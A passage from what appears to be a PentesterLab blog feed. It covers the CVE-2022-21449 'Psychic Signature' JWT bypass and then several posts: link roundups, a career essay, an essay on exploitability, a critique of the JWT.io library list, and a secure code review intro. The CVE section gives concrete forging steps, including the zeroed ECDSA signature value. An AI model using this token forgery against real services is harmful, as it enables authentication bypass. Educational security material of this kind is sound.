<p><strong>👉 <a href="https://pentesterlab.com/exercises/jwt-xi" target="_blank">PentesterLab: JWT JKU and Header Injection</a></strong></p>


<h2>🧙 8. CVE-2022-21449 (Psychic Signature)</h2>

<p>In 2022, a critical vulnerability was discovered in the Java JDK’s ECDSA signature verification implementation. This bug, now known as the <strong>“Psychic Signature”</strong> vulnerability — allowed attackers to bypass digital signature verification entirely by submitting an invalid signature where both values (<code>s</code> and <code>r</code>) are set to zero.</p>

<p>Tracked as <strong>CVE-2022-21449</strong>, this bug impacted applications that used Java’s <code>java.security.Signature</code> class to verify ECDSA-signed JWTs, especially when using algorithms like <code>ES256</code>.</p>

<h3>Exploitation</h3>
<p>The core of the vulnerability is that the Java implementation incorrectly accepted the signature with <code>r=0</code> and <code>s=0</code> as valid, even though these values should never occur in legitimate ECDSA signatures.</p>

<p>To exploit the issue:</p>

<ol>
  <li>Generate any JWT with <code>"alg": "ES256"</code> and a forged payload (e.g., <code>"user": "admin"</code>).</li>
  <li>Base64URL-encode the header and payload.</li>
  <li>Append a forged signature consisting of r=0 and s=0:
    (Base64URL-encoded: <code>MAYCAQACAQA</code>)</li>
  <li>Send the JWT to the target Java-based service.</li>
</ol>

<p>If the backend uses a vulnerable version of Java and ECDSA verification, it will <strong>accept the forged token as valid</strong> — bypassing all authentication and allowing privilege escalation.</p>

<h3>Why This Happens</h3>
<ul>
  <li>ECDSA signatures are composed of two integers: <code>r</code> and <code>s</code>.</li>
  <li>Java’s signature verification logic failed to reject values when both <code>r = 0</code> and <code>s = 0</code>.</li>
  <li>Since these values were not checked properly, <strong>any JWT could be “valid”</strong> when signed with a zeroed signature.</li>
</ul>


<h3>Impact</h3>

This issue can lead to:
<ul>
  <li>Authentication bypass</li>
  <li>Authorization bypass</li>
</ul>


<h3>Mitigation</h3>
<ul>
  <li>Upgrade to a patched version of Java (JDK 17.0.3+, 11.0.15+, 8u331+, etc.).</li>
  <li>Avoid using ECDSA signatures if your cryptographic library is untrusted or poorly maintained.</li>
  <li>Reject tokens with suspicious or malformed signatures — especially all-zero signatures.</li>
  <li>Write test cases that attempt to validate known-invalid JWTs.</li>
</ul>

<h3>Practice It 🧪</h3>
<p>Practice crafting a forged JWT using a zeroed signature to bypass verification:</p>
<p><strong>👉 <a href="https://pentesterlab.com/exercises/cve-2022-21449" target="_blank">PentesterLab: JWT Psychic Signature aka CVE-2022-21449</a></strong></p>


<h2>📚 Final Thoughts: Mastering JWT Security</h2>

<p>JWTs are powerful tools for stateless authentication, but they come with a complex and subtle attack surface. As you've seen throughout this guide, the most devastating JWT vulnerabilities often stem from small misconfigurations, incorrect assumptions, or over-trusting user-controlled data.</p>

<p>And the danger is compounded in modern architectures: a single application might use JWTs in dozens of different places — APIs, microservices, SSO layers, mobile backends — all with potentially different libraries, configs, and logic.</p>

<p><strong>If you're auditing or pentesting an app:</strong></p>
<ul>
  <li>Test every endpoint individually</li>
  <li>Check for discrepancies in JWT parsing and verification</li>
  <li>Don’t assume one secure implementation covers the entire system</li>
</ul>

<p><strong>If you're a developer or security engineer:</strong></p>
<ul>
  <li>Never trust JWT headers blindly (especially <code>alg</code>, <code>kid</code>, <code>jku</code>, <code>x5u</code>, and <code>jwk</code>)</li>
  <li>Use proven libraries and keep them up-to-date</li>
  <li>Enforce strict configuration and avoid dynamic behaviors unless absolutely necessary</li>
</ul>

<h3>🎯 Reading Isn’t Enough — You Have to Practice</h3>

<p>It’s one thing to understand an attack in theory — but another to pull it off under real-world constraints. That’s why each section of this guide links to a <strong>PentesterLab</strong> exercise where you can practice the attack in a safe, realistic environment based on real-world CVEs and misconfigurations.</p>

<p><strong>👉 <a href="https://pentesterlab.com" target="_blank">Start practicing now on PentesterLab</a></strong> and level up your JWT exploitation skills — for real.</p>

<h3>🔐 About PentesterLab</h3>
<p><a href="https://pentesterlab.com" target="_blank">PentesterLab</a> teaches web security and vulnerability discovery through hands-on exercises — based on real bugs, real CVEs, and real-world applications. It’s used by red teams, appsec teams, and security researchers around the world to build deep, practical skills.</p>

<p>Whether you’re learning JWTs, diving into SAML, or reviewing code for subtle logic flaws — PentesterLab is where you turn knowledge into skill.</p>


]]>
      </description>
      <pubDate>Mon, 05 May 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/jwt-vulnerabilities-attacks-guide</link>
      <guid>https://pentesterlab.com/blog/jwt-vulnerabilities-attacks-guide</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 18/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>

<div class="mb-0">
  <p>The past few weeks have been quiet, but we’re back!</p>
</div>
<div class="mb-5">

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛠️</span> DeepWiki</h5>
<p>Starting a code review project without understanding how the codebase is structured can be tough. DeepWiki is a great tool available for open source projects on GitHub: <a href="https://deepwiki.com" target="_blank">DeepWiki.com</a>. You can also run it locally on private projects since an open source version exists: <a href="https://github.com/AsyncFuncAI/deepwiki-open" target="_blank">AsyncFuncAI/deepwiki-open</a>. It's a game changer for code reviewers.</p>


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🧠</span> How MCP Servers Can Steal Your Conversation History</h5>
<p>Speaking of AI, the team at Trail of Bits has been publishing more content on attacks targeting Model Context Protocol (MCP) servers. Check out their post: <a href="https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/" target="_blank">How MCP servers can steal your conversation history</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛠️</span> ProxyBlob</h5>
<p>Need a SOCKS proxy using Azure Blob Storage? The team at Quarkslab has you covered: <a href="https://github.com/quarkslab/proxyblob" target="_blank">quarkslab/proxyblob</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛡️</span> Charting the SSH Multiverse</h5>
<p>And finally, check out the slides from a fantastic talk by HD Moore at BSides San Francisco: <a href="https://hdm.io/decks/Charting_The_SSH_Multiverse.pdf" target="_blank">Charting the SSH Multiverse</a>.</p>



<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 04 May 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week18-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week18-2025</guid>
    </item>
    <item>
      <title>Pentester vs. Security Researcher: Skills, Career Paths, and What to Expect</title>
      <description>
        <![CDATA[<h5 class="fw-bold my-3">The Perceived Hierarchy</h5>

<p>In the world of offensive security, many people view security research as the ultimate goal, a prestigious badge of honor at the top of an imagined hierarchy:</p>

<div style="font-weight: bold; font-size: 1.1em; margin: 1em 0;">
Pentester → Red Teamer → Security Researcher
</div>
<p>This perception is often reinforced by conference lineups that favor novel research over practical assessments. As a result, a lot of professionals feel they need to pivot to security research to be taken seriously.</p>

<p>This leads to a common and flawed assumption: that security researchers are somehow more skilled than pentesters. After all, they find brand new bugs, surely that makes them better?</p>

<p>But the truth is: the roles are very different, and so are the skills they demand.</p>

<h5 class="fw-bold my-3">Life as a Pentester</h5>

<p>Pentesters work under tight deadlines. Most engagements are scoped to a few days or weeks. That means they need to hit the ground running, rapidly map out systems, identify attack paths, and prioritize their time efficiently. They also juggle client communications, write reports, and provide actionable insights. Pentesting suits people who like variety, quick wins, and continuous change.</p>

<p>You're also more likely to find remote opportunities in pentesting. There are simply more roles available, and the nature of the work is less secretive.</p>

<h5 class="fw-bold my-3">Life as a Security Researcher</h5>

<p>Security researchers, on the other hand, go deep. Their job is about patience and persistence. They can spend months analyzing a single feature, trying to understand its internals and surface weaknesses. There’s a high chance of failure and long stretches with no visible progress. The work is often solitary and methodical, suited to people who enjoy digging into the details and solving puzzles without a clear path forward.</p>

<p>And yes, while researchers don’t write reports for clients, they’re still expected to document everything, clearly and thoroughly. Often for internal use, publication, or reproduction by colleagues.</p>

<p>Security researchers may also face more operational constraints. Some may work in air-gapped environments or on tightly locked-down systems, with little room for customization or installing personal tooling. If you enjoy building and running your own environment, this may prove frustrating.</p>

<h5 class="fw-bold my-3">The Takeaway</h5>

<p>Both pentesting and research can be deeply technical. One isn’t better than the other, they’re different disciplines. You’ll find smart, skilled people in both camps. What matters is not what’s more “elite,” but what suits your skills, mindset, and how you want to spend your time.</p>

<p>I've heard too many stories of pentesters making the jump to vulnerability research and coming back after 6 to 12 months saying: "This is not what I thought it would be."</p>

<p>Security research is great but it’s not the holy grail. You’re better off being an excellent pentester than a frustrated or mediocre researcher. If research isn't your thing, don’t chase it for prestige. Chase what makes you effective, happy, and constantly improving.</p>

<p>If you're aiming toward one of these careers, <a href="/pro" target="_blank">PentesterLab PRO</a> can help you build the foundation necessary for both paths. We provide the variety of knowledge you need for pentesting, as well as the depth and mindset required for vulnerability research.</p>
]]>
      </description>
      <pubDate>Thu, 24 Apr 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/pentester-vs-security-researcher-career-paths</link>
      <guid>https://pentesterlab.com/blog/pentester-vs-security-researcher-career-paths</guid>
    </item>
    <item>
      <title>Do You Care About Exploitability?</title>
      <description>
        <![CDATA[<p>When reviewing code, you often uncover problematic patterns or weaknesses. Unfortunately, discovering something concerning doesn't automatically mean you have found an exploitable vulnerability. It merely indicates that something isn't right. This scenario often leads to a situation I've summarized as:</p>

<b><blockquote class="ms-md-5 my-5 fw-normal">"Two minutes to find the bug, two days to prove exploitability."</blockquote></b>

<p>This raises a critical question: Should you always strive to prove exploitability? Particularly if you work on an internal application security team, especially if your AppSec ratio—the number of application security engineers to software engineers—is very low, the answer isn't always straightforward.</p>

<p><b>Does it always need to be this complicated?</b></p>

<p>Consider this: Should you really spend two days of valuable AppSec engineer time meticulously proving exploitability for each identified issue? Or would it be more effective to spend four hours of a software engineer's time applying a simple patch?</p>

<p>For example, issues like insufficient randomness in session tokens, directory traversal attacks prevented by the application's routing logic, or missing HTML encoding in redirect pages clearly indicate insecure practices. Sometimes, it's easier and more practical for AppSec engineers to provide a straightforward patch rather than dedicating extensive effort to proving exploitability.</p>

<p>I discussed this topic further in a video: <a href="https://www.youtube.com/watch?v=SCrWxx9AXc0">"Just send a PR"</a></p>

<p>It gets worse when people rely on a Web Application Firewall (WAF) or rate limiting as adequate controls. Statements like, "It's here, but it's not exploitable thanks to our WAF," often lead to complacency. </p>

<p>People also tend to confuse <b>"We don't know how to exploit it"</b> with <b>"It is not exploitable."</b> Knowledge about the exploitability of weaknesses continually evolves. You never truly know if something is permanently non-exploitable—you only know you couldn't exploit it right now, given your <b>current knowledge, skills, and publicly available information</b> within the security community.</p>

<p>An excellent example of this evolving exploitability is deserialization vulnerabilities. Historically, issues around deserialization in languages like Java and Ruby were often considered theoretical until practical exploits and techniques emerged over time, significantly altering their perceived risk and urgency.</p>

<p>Obviously, if your job is to sell vulnerabilities, exploitability is crucial. But what if your primary role is to improve application security and make applications more resilient?</p>

<p>Even in the world of bug bounties, researchers often hold onto chains of critical weaknesses because they're missing a single piece—like an open redirect—to make the entire chain exploitable. Is this obsessive pursuit of exploitability genuinely beneficial, or is it counterproductive? Should bug bounty programs offer a "free part in the chain"—for instance, offering an open redirect or CSP bypass as "freebies" if part of a chain?</p>

<p>Perhaps it's time to rethink our approach. <b>Maybe not every weakness needs a full proof-of-exploit</b>. Perhaps investing resources into quick remediation is more pragmatic, cost-effective, and better aligned with real-world risk management.</p>
]]>
      </description>
      <pubDate>Sat, 19 Apr 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/do-you-care-about-exploitability</link>
      <guid>https://pentesterlab.com/blog/do-you-care-about-exploitability</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 14/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


<div class="mb-0">
  <p>A quieter week but still some good content!
  </p>
</div>
<div class="mb-5">


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪲 </span>XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)</h5>
<p>Another great post from the WatchTowr team: <a href="https://labs.watchtowr.com/xss-to-rce-by-abusing-custom-file-handlers-kentico-xperience-cms-cve-2025-2748/" target="_blank">XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🧩 </span>Intigriti 0325 Challenge Writeup</h5>
<p>An excellent write-up for an Intigriti's CTF challenge with 3 ways to solve it (2 unintended and the intended one): <a href="https://gist.github.com/Panya/990b45fbeae2051b355222981a1ce718"  target="_blank">Intigriti 0325 Challenge Writeup</a>.</p>


<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 06 Apr 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week14-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week14-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 13/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


<div class="mb-0">
  <p>Two great pieces of content for this week!
  </p>
</div>
<div class="mb-5">


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪲 </span>Next.js and the corrupt middleware: the authorizing artifact</span></h5>
<p>A detailed write-up from the people who actually found the latest Next.js vulnerability: <a href="https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware" target="_blank">Next.js and the corrupt middleware: the authorizing artifact</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪲 </span>IngressNightmare: 9.8 Critical Unauthenticated Remote Code Execution Vulnerabilities in Ingress NGINX</h5>
<p>A great vulnerability discovered by the Wiz team, allowing them to gain code execution in Kubernetes ingress-nginx. The multiple injections are interesting, but I loved the configuration injection to RCE part the most (very similar to what we saw in the recent Elttam Ruby gadget): <a href="https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities"  target="_blank">IngressNightmare: 9.8 Critical Unauthenticated Remote Code Execution Vulnerabilities in Ingress NGINX</a>.</p>


<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 30 Mar 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week13-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week13-2025</guid>
    </item>
    <item>
      <title>The State of JWT Libraries on JWT.io: A Security Concern</title>
      <description>
        <![CDATA[  <p><a target="_blank" href="https://jwt.io/">JWT.io</a> is widely known among developers for its convenient JWT debugger and its curated list of libraries supporting JSON Web Tokens across dozens of programming languages. While it's a helpful resource, there's a serious and often overlooked issue: <strong>many of the libraries listed are outdated, unmaintained, or outright insecure</strong>.</p>

  <h2>The Problem: Abandoned and Insecure Libraries</h2>
  <p>JWT.io not only showcases active libraries—it also lists libraries that haven't seen updates in years, or have even been archived entirely. This poses a significant risk to developers who rely on the site to find a reliable library for implementing JWT in their applications.</p>

  <h3>📁 Archived Repositories (No Longer Maintained)</h3>
  <ul>
    <li><a target="_blank" href="https://github.com/robbert229/jwt">robbert229/jwt</a> (archived April 2024)</li>
    <li><a target="_blank" href="https://github.com/square/go-jose">square/go-jose</a> (archived February 2023)</li>
    <li><a target="_blank" href="https://github.com/olehlong/jwtd">olehlong/jwtd</a> (archived October 2021)</li>
    <li><a target="_blank" href="https://github.com/zolamk/jwt">zolamk/jwt</a> (archived <b>May 2018</b>)</li>
    <li><a target="_blank" href="https://github.com/iain-logan/jwt">iain-logan/jwt</a> (archived September 2022)</li>
    <li><a target="_blank" href="https://github.com/babelouest/rhonabwy">babelouest/rhonabwy</a> (archived November 2024)</li>
    <li><a target="_blank" href="https://github.com/nov/jose-php">nov/jose-php</a> (archived January 2024)</li>
  </ul>

  <h3>💤 Libraries Untouched for Years</h3>
  <p>Several libraries haven’t been updated in over 5–10 years, making them highly questionable for use in modern applications.</p>

  <ul>
    <li><strong>2015:</strong>
      <ul>
        <li><a target="_blank" href="https://github.com/dvsekhvalnov/jose-rt">dvsekhvalnov/jose-rt</a></li>
        <li><a target="_blank" href="https://github.com/tjcelaya/jwt.q">tjcelaya/jwt.q</a></li>
      </ul>
    </li>
    <li><strong>2016:</strong>
      <ul>
        <li><a target="_blank" href="https://github.com/kaleidos/grails-security-stateless">kaleidos/grails-security-stateless</a></li>
      </ul>
    </li>
    <li><strong>2017:</strong>
      <ul>
        <li><a target="_blank" href="https://github.com/nickvellios/gojwt">nickvellios/gojwt</a></li>
        <li><a target="_blank" href="https://github.com/zolamk/jwt">zolamk/jwt</a></li>
        <li><a target="_blank" href="https://github.com/garyf/json_web_token">garyf/json_web_token</a></li>
        <li><a target="_blank" href="https://github.com/garyf/json_web_token_ex">garyf/json_web_token_ex</a></li>
        <li><a target="_blank" href="https://github.com/janjaali/spray-jwt">janjaali/spray-jwt</a></li>
        <li><a target="_blank" href="https://github.com/SkyLothar/lua-resty-jwt">SkyLothar/lua-resty-jwt</a></li>
        <li><a target="_blank" href="https://github.com/emarref/jwt">emarref/jwt</a></li>
        <li><a target="_blank" href="https://github.com/vaibhavpandeyvpz/jweety">vaibhavpandeyvpz/jweety</a></li>
      </ul>
    </li>
    <li><strong>2018:</strong>
      <ul>
        <li><a target="_blank" href="https://github.com/SermoDigital/jose">SermoDigital/jose</a></li>
        <li><a target="_blank" href="https://github.com/robbert229/jwt">robbert229/jwt</a></li>
        <li><a target="_blank" href="https://github.com/iain-logan/jwt">iain-logan/jwt</a></li>
      </ul>
    </li>
    <li><strong>2019:</strong>
      <ul>
        <li><a target="_blank" href="https://github.com/kylef/JSONWebToken.swift">kylef/JSONWebToken.swift</a></li>
        <li><a target="_blank" href="https://github.com/jasongoodwin/authentikat-jwt">jasongoodwin/authentikat-jwt</a></li>
        <li><a target="_blank" href="https://github.com/cisco/cjose">cisco/cjose</a></li>
      </ul>
    </li>
    <li><strong>2020:</strong>
      <ul>
        <li><a target="_blank" href="https://github.com/olehlong/jwtd">olehlong/jwtd</a></li>
        <li><a target="_blank" href="https://github.com/Wstunes/SwiftyJWT">Wstunes/SwiftyJWT</a></li>
        <li><a target="_blank" href="https://github.com/reznikmm/jwt">reznikmm/jwt</a></li>
      </ul>
    </li>
  </ul>

  <h2>Maturity and Compliance: All Over the Place</h2>
  <p>The maturity of these libraries varies wildly. One supports a cryptographic algorithm that <strong>doesn’t even exist</strong> in the JWT specification: <strong>HMAC-MD5</strong>, or worse—make security design decisions that are completely unsafe.</p>

  <p>Examples:</p>
  <ul>
    <li>One library uses a <strong>Regular Expression</strong> to extract the algorithm from the JWT header instead of parsing the JSON.</li>
    <li>Another signs tokens using a <strong>random string of random length and the payload as the secret</strong>.</li>
    <li>Some libraries only support <strong>HMAC-SHA256</strong>, offering no flexibility or standards compliance.</li>
  </ul>

  <p>I also tried reporting a security issue to a Scala library:
    <a target="_blank" href="https://github.com/janjaali/spray-jwt/issues/5">spray-jwt#5</a> – no response since October 2024.
  </p>

  <h2>Raising the Alarm</h2>
  <p>I raised this problem last year by opening an issue on the <a target="_blank" href="https://github.com/jsonwebtoken/jsonwebtoken.github.io/issues/717">JWT.io GitHub repository</a>. Since then, I’ve also submitted multiple pull requests:</p>
  <ul>
    <li><a target="_blank" href="https://github.com/jsonwebtoken/jsonwebtoken.github.io/pull/718">Add a warning about outdated libraries</a></li>
    <li><a target="_blank" href="https://github.com/jsonwebtoken/jsonwebtoken.github.io/pull/716">Propose removal of an abandoned library</a></li>
  </ul>
  <p>Unfortunately, there has been little to no action so far.</p>

  <h2>Why This Matters</h2>
  <p>JWTs are commonly used for <strong>authentication and authorization</strong>—core components of application security. Using outdated or broken JWT libraries can lead to:</p>
  <ul>
    <li>Token forgery</li>
    <li>Authentication bypass</li>
    <li>Insecure cryptographic handling</li>
    <li>Hard-to-detect vulnerabilities in production</li>
  </ul>

  <h2>What Can Be Done?</h2>
  <ol>
    <li><strong>Audit the library list</strong>: Libraries should be reviewed periodically for activity and security.</li>
    <li><strong>Add metadata</strong>: Show last update date, archive status, and supported algorithms.</li>
    <li><strong>Let the community flag problems</strong>: Add a simple reporting system for issues with listed libraries.</li>
    <li><strong>Set a minimum bar</strong>: Exclude libraries that don’t follow the JWT spec or use insecure defaults.</li>
  </ol>

  <hr>

  <p><strong>TL;DR:</strong> JWT.io is a popular and convenient tool, but the library list can be dangerous. Developers may unknowingly choose insecure or abandoned libraries. We need better transparency and active curation to keep the ecosystem secure.</p>

  <p>Want to help? Star or comment on the issue I opened here:<br>
  👉 <a target="_blank" href="https://github.com/jsonwebtoken/jsonwebtoken.github.io/issues/717">jsonwebtoken/jsonwebtoken.github.io#717</a></p>

]]>
      </description>
      <pubDate>Fri, 28 Mar 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/state-of-jwt-io</link>
      <guid>https://pentesterlab.com/blog/state-of-jwt-io</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 12/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


<div class="mb-0">
  <p>Another great week! SAML&amp;Node, C#&amp;XML, GitLab! </p>
</div>
<div class="mb-5">



<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">‼️ </span>!exploitable Episode Three - Devfile Adventures</h5>
<p>The Doyensec team has released another episode of their serie !exploitable, this time on CVE-2024-0402 impacting GitLab: <a href="https://blog.doyensec.com/2025/03/18/exploitable-gitlab.html" target="_blank">!exploitable Episode Three - Devfile Adventures</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📨 </span>SAMLStorm: Critical Authentication Bypass in xml-crypto and Node.js libraries</h5>
<p>More SAML, this time impacting xml-crypto in the Node ecosystem: <a href="https://workos.com/blog/samlstorm"  target="_blank">SAMLStorm: Critical Authentication Bypass in xml-crypto and Node.js libraries</a>.</p>


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛤️ </span> CVE-2024-53991 - Discourse Backup Disclosure: Rails send_file Quirk</h5>
<p>What happens when you mix Ruby on Rails and the Nginx <code>internal</code> directive?  Find out in the latest Blog Post from the Project Discovery team: <a href="https://projectdiscovery.io/blog/discourse-backup-disclosure-rails-send_file-quirk"  target="_blank">CVE-2024-53991 - Discourse Backup Disclosure: Rails send_file Quirk</a>.</p>


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">☑️ </span>By Executive Order, We Are Banning Blacklists - Domain-Level RCE in Veeam Backup & Replication (CVE-2025-23120)</h5>
<p>A great post from the WatchTowr team.  <a href="https://labs.watchtowr.com/by-executive-order-we-are-banning-blacklists-domain-level-rce-in-veeam-backup-replication-cve-2025-23120/" target="_blank">By Executive Order, We Are Banning Blacklists - Domain-Level RCE in Veeam Backup & Replication (CVE-2025-23120)</a>.</p>


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">❤️  </span>TMP OUT #4</h5>
<p>The latest TMPOUT is out: <a href="https://tmpout.sh/4/"  target="_blank">TMP OUT #4</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🗼 </span> Bypassing Authentication Like It’s The ‘90s - Pre-Auth RCE Chain(s) in Kentico Xperience CMS
</h5>
<p>Another great post by the WatchTowr team, just the right mix of XML and C# code review: <a href="https://labs.watchtowr.com/bypassing-authentication-like-its-the-90s-pre-auth-rce-chain-s-in-kentico-xperience-cms/"  target="_blank">Bypassing Authentication Like It’s The ‘90s - Pre-Auth RCE Chain(s) in Kentico Xperience CMS</a>.</p>


<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 23 Mar 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week12-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week12-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 11/2025</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


<div class="mb-0">
  <p>What a week! SAML&amp;Ruby, PHP&amp;XXE and so much more! </p>
</div>
<div class="mb-5">



<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📨 </span>Sign in as anyone: Bypassing SAML SSO authentication with parser differentials</h5>
<p>Two of my favorite things (Ruby and SAML) meet again, and another great vulnerability in ruby-saml: <a href="https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/" target="_blank">Sign in as anyone: Bypassing SAML SSO authentication with parser differentials</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">💻 </span>What Makes Code Hard To Read: Visual Patterns of Complexity</h5>
<p>A great article on what makes code hard to read. There's a lot of content related to code review in this blog as well, so make sure you check it out: <a href="https://seeinglogic.com/posts/visual-readability-patterns/"  target="_blank">What Makes Code Hard To Read: Visual Patterns of Complexity</a>.</p>


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤯 </span>Impossible XXE in PHP</h5>
<p>The team at ptsecurity is on fire at the moment. A great PHP/XXE tour de force: <a href="https://swarm.ptsecurity.com/impossible-xxe-in-php/"  target="_blank">Impossible XXE in PHP</a>. It is worth reading just for the <code>LIBXML_NONET</code> part...</p>


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">😻 </span>Analysis of CVE-2025-24813 Apache Tomcat Path Equivalence RCE</h5>
<p>If you want to better understand the details of the latest RCE in Tomcat, make sure to read this post: <a href="https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html" target="_blank">Analysis of CVE-2025-24813 Apache Tomcat Path Equivalence RCE</a>




<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 16 Mar 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week11-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week11-2025</guid>
    </item>
    <item>
      <title>Introduction to Secure Code Review</title>
      <description>
        <![CDATA[
<p>Secure code review is a fundamental practice in software security, aimed at identifying vulnerabilities, weaknesses, or areas for security improvement directly within source code. Unlike penetration testing, which assesses applications primarily through external interactions, secure code review dives deep into the application's logic, architecture, and code patterns to uncover issues that might otherwise remain hidden.</p>

<h5 class="fw-bold my-3">What is Secure Code Review?</h5>

<p>Secure code review is the meticulous examination of an application's source code to discover security vulnerabilities, logical flaws, coding weaknesses, and opportunities to improve security practices. It can be applied to:</p>

<ul>
  <li>Small portions of an application</li>
  <li>Complete applications</li>
  <li>Incremental changes, such as specific commits</li>
</ul>

<p>By examining code directly, reviewers gain a comprehensive understanding of how data and logic flow through an application, reducing uncertainty and increasing the likelihood of detecting subtle vulnerabilities.</p>

<h5 class="fw-bold my-3">Who Performs Secure Code Reviews?</h5>

<p>Several different roles actively engage in secure code reviews, each with slightly different objectives:</p>

<strong>Developers</strong>

<p>Developers often perform secure code reviews as part of their standard peer-review processes. Catching issues early helps mitigate risks before code reaches production, significantly reducing the cost of remediation.</p>

<strong>Security Engineers and Code Reviewers</strong>

<p>These professionals specialize in identifying vulnerabilities and security improvements. Their broader perspective allows them to spot patterns across various codebases and recognize subtle security flaws that developers might overlook.</p>

<strong>Security Researchers, Exploit Writers, and Gadget Writers</strong>

<p>Researchers and exploit writers perform targeted code reviews to identify vulnerabilities and write corresponding exploits or gadgets. Their work typically focuses on deep technical analysis to exploit identified weaknesses, proving the real-world impact of vulnerabilities.</p>

<h5 class="fw-bold my-3">Types of Issues Found During Code Review</h5>

<p>Secure code review uncovers a wide variety of issues, including:</p>

<ul>
